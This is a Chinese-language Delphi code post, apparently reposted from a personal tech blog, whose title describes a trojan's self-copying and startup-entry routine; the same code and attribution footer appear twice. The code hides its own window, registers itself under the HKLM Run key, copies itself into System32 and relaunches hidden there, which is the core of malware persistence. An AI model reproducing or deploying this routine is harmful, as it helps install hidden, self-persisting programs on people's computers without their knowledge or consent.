delphi 之***自身複製加開機啓動項
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, Registry, StdCtrls;
type
TForm1 = class(TForm)
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
function GetWinDir: String; //定義獲取system32目錄的方法。
var
Buf: array[0..MAX_PATH] of char;
begin
GetSystemDirectory(Buf, MAX_PATH);
Result := Buf;
if Result[Length(Result)]<>'' then Result := Result + '';
end;
{$R *.dfm}
procedure TForm1.FormCreate(Sender: TObject);
var myname: string;
AuToRun :TRegistry;
begin
Form1.Hide;
Application.ShowMainForm := False; //這兩句是爲了讓程序運行不顯示窗口。
AuToRun := TRegistry.Create;
with AuToRun do
Try
RootKey := HKEY_LOCAL_MACHINE;
if OpenKey('SOFTWARE\MicroSoft\Windows\CurrentVersion\Run',false) then
AuToRun.WriteString(extractfilename(application.ExeName),application.ExeName);
Finally
AuToRun.Free;
end; //增加開機啓動項
myname := ExtractFilename(Application.Exename); //獲得文件名
if application.Exename <> GetWindir + myname then //如果文件不是在Windows\System32\那麼..
begin
copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{將自己拷貝到Windows\System32\下}
Winexec(pchar(GetWindir + myname), sw_hide); //運行Windows\System32\下的新文件
end;
end;
end.
轉載文章請標明:該文章轉自 羅斌原創技術文章:http://luobin44.51.com 〖羅斌原創〗
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, Registry, StdCtrls;
type
TForm1 = class(TForm)
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
function GetWinDir: String; //定義獲取system32目錄的方法。
var
Buf: array[0..MAX_PATH] of char;
begin
GetSystemDirectory(Buf, MAX_PATH);
Result := Buf;
if Result[Length(Result)]<>'' then Result := Result + '';
end;
{$R *.dfm}
procedure TForm1.FormCreate(Sender: TObject);
var myname: string;
AuToRun :TRegistry;
begin
Form1.Hide;
Application.ShowMainForm := False; //這兩句是爲了讓程序運行不顯示窗口。
AuToRun := TRegistry.Create;
with AuToRun do
Try
RootKey := HKEY_LOCAL_MACHINE;
if OpenKey('SOFTWARE\MicroSoft\Windows\CurrentVersion\Run',false) then
AuToRun.WriteString(extractfilename(application.ExeName),application.ExeName);
Finally
AuToRun.Free;
end; //增加開機啓動項
myname := ExtractFilename(Application.Exename); //獲得文件名
if application.Exename <> GetWindir + myname then //如果文件不是在Windows\System32\那麼..
begin
copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{將自己拷貝到Windows\System32\下}
Winexec(pchar(GetWindir + myname), sw_hide); //運行Windows\System32\下的新文件
end;
end;
end.
轉載文章請標明:該文章轉自 羅斌原創技術文章:http://luobin44.51.com 〖羅斌原創〗